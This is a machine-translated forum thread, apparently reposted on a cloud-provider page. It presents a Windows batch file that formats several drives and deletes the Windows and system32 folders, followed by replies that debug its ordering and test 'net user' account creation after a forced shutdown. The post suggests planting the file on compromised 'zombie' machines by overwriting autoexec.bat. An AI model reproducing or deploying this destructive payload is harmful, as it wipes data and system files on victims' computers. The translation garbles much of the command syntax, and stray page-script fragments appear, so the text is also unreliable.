Discussion on a batch processing program

Source: Internet
Author: User

Statement: I have not personally run the experiment for this batch processing program, but I am not very familiar with batch processing, so this program may have some minor problems.

Assume that your system is attached to drive C.
Open notepad Input
@ Echo off
Shutdown-r-t 0
Format d:/q/y
Format e:/q/y
Format f:/q/y
Format g:/q/y
C:
Cd
Cd windows
Del./y
Cd system32
Del./y
Shutdown-r-t 0
Save as 1.bat
Then run
What are the consequences?
If you want a zombie, you can.
Upload autoexec. bat to zombie C: overwrite the original autoexec. bat

Last warning: it is best not to mess up. If something goes wrong, you will be at your own risk.

Bytes ----------------------------------------------------------------------------------------------------------
This is a question and correction from the Red wolf Security Group's emissary on this post:
There is an imperfect place. Let me talk about it!

C:
Cd
Cd windows
Del./y
Cd system32


Why are you sure the system is not windows2000!
For windows Directory determination, you should use environment variables in bat.
For example
Windir = C: WINDOWS
Windir = C: WINNT


Also, for the second statement, I would like to ask a little bit.
Shutdown-r-t 0
Since it is re-activated, is the following formatting command still useful ???????????
I don't dare to try it, because I suspect it works.

This is my reply to him:
My system is XP. In the XP environment, this batch is processed, so I ignored 2000 of the cases. I was not careful. Thank you for your correction.
As you said, the "shutdown-r-t 0" statement should not be placed here. Otherwise, the system will directly restart the system and the following statement will not work.

This is his own experiment:
To get the answer! I personally tried this problem!

@ Echo off
Shutdown-r-t 0
Ping 127.0.0.1-n 100 & net user emissary2/add
Shutdown-r-t 0
This is the first file I executed. After the restart, we found that emissary1 was not added to the user group! Failed!

The second time I added net user emissary1/add before ping. Because I want to know if the execution is not delayed. Will it succeed!
@ Echo off
Shutdown-r-t 0
Net user emissary1/add
Ping 127.0.0.1-n 100 & net user emissary2/add
Shutdown-r-t 0
The result still failed!

Here. I thought the statement after "shutdown-r-t 0" is invalid! Think about it. Changed to the following statement!
@ Echo off
Shutdown-r-t 0
Dir> c: aaa.txt
Ping 127.0.0.1-n 100 & dir> c: aaa2.txt
Shutdown-r-t 0
Unexpectedly, this time is successful. After the restart, c: aaa.txt is found, but the file c: aaa2.txt is not found.


For the above tests, I just got it in this batch file. It can only work for internal commands, while external commands fail to be initialized because windows has started to close the window!

The internal command is provided by cmd.exe. Because CMD is opened during execution of. bat, internal commands can be used normally.

My friend Xuan Feng's residual wing @ Ying himself made a trial using the lattice command. Also made a video.
The result shows that the format command in your batch processing failed to be initialized !!!
Start
Screen. width * 0.7) {this. resized = true; this. width = screen. width * 0.7; this. style. cursor = hand; this. alt = Click here to open new windowCTRL + Mouse wheel to zoom in/out;} "onclick =" if (! This. resized) {return true;} else {window. open (/UpLoadFiles/NewsPhoto/dosss001.jpg);} "src =" http://www.bkjia.com/uploads/allimg/131129/1116301134-0.jpg "onload =" if (this. width> screen. width * 0.7) {this. resized = true; this. width = screen. width * 0.7; this. alt = Click here to open new windowCTRL + Mouse wheel to zoom in/out;} "border = 0>
Next second!

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.